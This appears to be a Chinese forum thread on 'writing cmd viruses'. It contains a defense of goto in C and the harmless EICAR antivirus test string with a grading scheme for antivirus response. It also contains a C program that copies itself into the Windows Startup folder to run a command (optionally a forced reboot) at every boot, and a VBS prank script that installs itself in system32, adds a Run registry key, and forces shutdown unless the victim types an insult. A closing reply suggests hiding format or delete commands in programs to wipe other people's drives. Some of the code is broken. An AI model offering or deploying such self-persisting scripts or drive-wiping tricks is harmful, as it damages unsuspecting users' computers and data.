2、写cmd病毒
写病毒用什么语言都可以。不过是一种工具,你只要精通它就行,要了解底层的东西,比如操作系统,计算机组成原理。
还有,谁说goto在C语言里禁用了?你去找到那个这么说的人,狠狠的抽他俩嘴巴!
goto不是天生的恶魔,C89,C99标准没有取消它是有根据的。比如,for语句里套switch,在switch里怎么跳出循环?break可不行。在比如,输入法的软键盘,需要检索你按的那个键,如何构词。goto就是更好的解决办法。楼上的那兄弟用goto写的是循环,没有for这类的语句的时候,就是用的goto。

本代码尽管测试,无任何危险。病毒文件测试代码。使用 *** 如下:
this
is
not
a
real
virus.
it
is
a
text
file
that
is
used
to
test
antivirus
software.
测试代码:
---------------------请复制下面的代码到文本中保存-------------------
x5o!p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*
---------------------请复制上面的代码到文本中保存-------------------
测试 *** :
1.鼠标右键点击桌面空白处,创建一个“文本文档”。(什么,还不会建?我倒)
2.将下面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒软件扫描(图1)。也可以等一会,如果你的杀毒软件还行,会自动报毒并将该文本删除,那就可以初步放心了。
测试原理:
该段代码是欧洲计算机防病毒协会开发的一种病毒代码,其中的特征码已经包含在各种杀毒软件的病毒代码库里,所以可以用做测试病毒扫描引擎。
测试等级:
特等:复制完代码后便提示内存有病毒
优等:刚保存完就提示病毒(或者直接删除)
中等:保存后几秒提示病毒(或者直接删除)
下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等:无论怎么扫描都无法提示病毒(或者直接删除)
最简单的病毒代码如下: #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);
system("pause");
on error resume next
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "ceshi.vbs"
Key_data = "C:\windows\system32\ceshi.vbs"
AutorunProgram.RegWrite regpathKey_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是猪,不说我是猪就半分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪哦,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
另存为ceshi.vbs就行。
另:这是VBS脚本,是VB语言,非C语言,楼主请弄明白。
最强病毒!谨慎运行!此程序会将系统搞崩溃.

一个简单的病毒就要很长的代码,写病毒没有那么简单。
不过你可以试试利用cmd命令,比如删除拉,格式化拉,拷贝拉,写进代码里。别人一打开程序资料盘就格掉了,嘿嘿。
